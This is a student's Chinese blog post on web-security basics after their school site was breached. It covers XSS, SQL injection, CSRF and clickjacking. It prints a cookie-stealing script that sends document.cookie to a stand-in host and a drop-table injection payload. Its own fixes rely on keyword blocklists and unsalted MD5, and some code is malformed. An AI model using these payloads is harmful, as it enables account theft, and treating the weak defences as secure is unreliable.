摘要：這里就提及一下所推出的圖片驗證，目前已經被很多人報道也是不安全的，攻擊者可以直接將圖片處理后丟入百度的識圖接口，返回的數值讓人驚訝。

之前忙于做各種事情，已經很久沒寫過文章，最近接的一個學校的網站項目，近期被人用自動腳本攻破了（笑...），因為我們第一次做這種上線的項目，完全沒有意識到一些web安全的知識，所以就開始了緊急的漏洞補救和防護措施。所以我就把近期學習的知識總結下。目前我水平有限，只能做一個初級認識，讓一些剛入行做上線的實際項目的同學能有所警惕。

作為這個網站項目組長，我是完全不知道這些安全隱患問題的，團隊的人員也沒有研究過這些，所以造成了這個情況，因為我們是在校大學學生，確實學無余力來研究這些，希望對還未出社會的初學者提個醒。

我只會大概提及它的攻擊原理和預防方法，具體的實現和深入研究還請大家自行百度，因為只有真正需要用到才會去詳細了解，這里我只為web安全小白做知識掃盲。因為博主目前接觸最多的服務端語言是JAVA所以例子都從java web項目來講。

雖然我們目前做的是一個博客的小網站，但是以后無論是自己的博客還是實際的項目，都可以用圖片來提供外鏈，方便管理，如果你的網站訪問量很高啊，一天幾十萬幾百萬啊，我的天啊，這時候你考慮的就不是服務器空間夠不夠大，而是驚人的并發數啊，光是請求html文件（或其他）的鏈接就處理不過來了，哪還有多余的資源去讀取圖片啊，索性就把圖片存另一個服務器吧，給主服務器減輕壓力啊，于是圖床誕生了。

反射型XSS

它是通過誘使用戶打開一個惡意鏈接，服務端將鏈接中參數的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執行，從而達到攻擊的目的。如下面的鏈接：

http://a.com/a.jsp?name=xss

a.jsp將頁面渲染成下面的html：

Hello xss

這時瀏覽器將會彈出提示框。

這算是常見的一種方法，預防的話可以通過后臺編寫方法來攔截過濾到這些非法或有攻擊性的字符。

持久型XSS

持久型XSS將惡意代碼提交給服務器，并且存儲在服務器端，當用戶訪問相關內容時再渲染到頁面中，以達到攻擊的目的，它的危害更大。

比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發表后，所有訪問該博客文章的用戶都會執行這段惡意JS。

這個相對來說對我們開發網站來說不算重要，但是要小心攻擊者在你網站注入一些非法代碼，從而達到這個目的。

Cookie中一般保存了當前用戶的登錄憑證，如果可以得到，往往意味著可直接進入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：

首先誘使用戶打開下面的鏈接：

http://a.com/a.jsp?name=xss

用戶打開鏈接后，會加載b.js，并執行b.js中的代碼。b.js中存儲了以下JS代碼：

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代碼會向b.com請求一張圖片，但實際上是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。

防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

輸入檢查
對輸入數據做檢查，比如用戶名只允許是字母和數字，郵箱必須是指定格式。

一定要在后臺做檢查，否則數據可能繞過前端檢查直接發給服務器。
一般前后端都做檢查，這樣前端可以擋掉大部分無效數據。
對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當的過濾，最好是在輸出時具體情況具體處理。

輸出檢查
對渲染到HTML中內容執行HtmlEncode，對渲染到JavaScript中的內容執行JavascriptEncode。

另外還可以使用一些做XSS檢查的開源項目。

SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數據被當成命令來執行而造成的。下面是一個SQL注入的例子：

String sql = "select * from user where username = "" + username + """;

像上面的SQL語句，如果用戶提交的username參數是leo，則數據庫執行的SQL為：

select * from user where username = "leo"

但如果用戶提交的username參數是leo’; drop table user–，那執行的SQL為：

select * from user where username = "leo"; drop table user--"

在查詢數據后，又執行了一個刪除表的操作，這樣的后果非常嚴重。

博主本人的網站就是主要被SQL注入導致網站數據庫受損

防止SQL注入最好的方法是使用預編譯語句，如下面所示：

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不同語言的預編譯方法不同，但基本都可以處理。

如果遇到無法使用預編譯方法時，只能像防止XSS那樣對參數進行檢查和編碼。

博主后面會貼出自己完善項目的檢測代碼，就是對網站可以進行數據提交的表單的輸入進行SQL語句檢測。

跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數都能被攻擊者得到，進而構造出一個偽造的請求，在用戶不知情的情況下被執行。看下面一個例子：

如果a.com網站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：

GET http://a.com/blog/delete?id=1

當用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內容：

這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1，刪除那篇博客。

驗證碼

CSRF是在用戶不知情的情況下構造的網絡情況，驗證碼則強制用戶與應用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

referer檢查

檢查請求header中的referer也能幫助防止CSRF攻擊，但服務器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發送referer，所以也不常用。倒是圖片防盜鏈中用得很多。

Anti CSRF Token

更多的是生成一個隨機的token，在用戶提交數據的同時提交這個token，服務器端比對后如果不正確，則拒絕執行操作。

作為了解，一般前面的攻擊都過了，就可以造成此類攻擊。

點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上，誘使用戶在該網頁上操作，而實際點擊卻是點在透明的iframe頁面。

點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點擊劫持的防御

針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：

DENY： 禁止任何頁面的frame加載；
SAMEORIGIN：只有同源頁面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁面地址。

針對圖片覆蓋攻擊，則注意使用預防XSS的方法，防止HTML和JS注入。

作為了解，一般前面的攻擊都過了，就可以造成此類攻擊。

我們負責的團隊項目為學校網站制作，所以涉及到用戶輸入的地方都在后臺管理模塊，從后臺登錄界面開始就應該做一些防護措施了。

function validate(value) {
    var pattern = /[`~!@#$%^&*()_+<>?:"{},./;"[]]/im;
    if (value === "" || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符！");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,",join,>,<";
    var sqlStr = str.split(",");
    var flag = true;
    
    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封裝的2個方法，用于返回布爾值來判斷是否通過。第一個為了過濾掉非法字符，第二個為了過濾有關數據庫操作的非法字符。

//password  Md5
    
        public static String MD5Password(String oldstr) {
     
            char hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
                    "a", "b", "c", "d", "e", "f" };
     
            byte[] oldbytes = oldstr.getBytes();
            
            try {
                
                MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對象
                
                md.update(oldbytes);// 初始化對象
                
                byte[] newBytes = md.digest();// 運行加密算法
                
                char[] newStr = new char[32];
                
                for (int i = 0; i < 16; i++) {
                    
                    byte temp = newBytes[i];
                    
                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
                    
                    newStr[2 * i + 1] = hexDigits[temp & 0xf];
                    
                }
                
                return new String(newStr);
                
            } catch (NoSuchAlgorithmException e) {
                
                return null;
                
            }
     
        }

通過在后臺對數據庫中，管理員的密碼進行MD5加密然后存入加密后的字段進去，在前臺通過加密前的字段輸入后在后臺進行方法驗證，實現MD5加密登錄。防止數據庫的密碼被暴露查詢出來。加密后無法被反解密出來。

同前臺登錄一樣的檢測方法，因為我只負責前臺檢測，如果黑客繞過了我的檢測，就要進行后臺對數據傳過去的值進行檢測，這時候就是后臺人員的工作了。所以前后臺都要進行這些字符檢測，但是后臺的責任要重一點，因為數據最終流向是在后臺服務器端，前臺只是初步防護而已。

目前驗證碼字符驗證已經逐漸推出舞臺，但是有一些專門這塊驗證服務的第三方平臺，通過對驗證碼字符的不斷改進和更新，對一些攻擊者來說還是有防護作用，但是個人或企業網站還是用的一塵不變的驗證方法的話，就很容易被攻擊成功。很多初學者都在前臺瀏覽器客戶端用JS進行字符驗證，很容易被破解跳過。好點的就在服務器進行檢驗，但是還是能被一些黑客經過長期的經驗發明的一些工具破解。
這里就提及一下12306所推出的圖片驗證，目前已經被很多人報道也是不安全的，攻擊者可以直接將圖片處理后丟入google、百度的識圖接口，返回的數值讓人驚訝。

居然能把第二張圖識別為沙縣小吃，我是覺得目前的人工智能的圖像識別技術很厲害，所以要不了多久這種驗證方式也會被淘汰，除非不斷更新圖片庫。

滑塊驗證和12306的圖片識別驗證目前算是比較安全的驗證手段，滑動驗證的核心并不是簡單的拼接成功就可以過，所以也不是簡單的算一下偏移量就能破解。滑動驗證做的好的是通過采集你的滑動過程軌跡與服務器端的海量樣本進行對比，區分人還是機器，用到了很多深度學習的技術，當然市面上也有一些滑動驗證只是前端拼接就能過，大家還是要多多研究一下。

反正如果項目需要用到驗證碼這塊，不能考慮只在客戶端進行JS驗證，客戶端的JS驗證有的前提下，還要把數據返回到后臺來進行驗證，這樣可以大概率保證網站安全性，網站的攻防一直是持久的話題，沒有絕對的安全也沒有絕對的攻擊。推薦大家多嘗試網上的第三方服務商提供的驗證服務，這樣節省自己的精力來研究驗證漏洞以及頻繁的更新驗證方法。

在校期間第一次認識到web安全重要性，目前只是初步的認識，如果后面了解了更多相關的知識，會繼續做補充。關于hexo搭建的博客的技術應該不會再出什么文章了，有需要了解其他的知識的，會有困難的可以聯系我或下方留言，然后看情況是否整理為一篇文章來集中回答幫助其他人。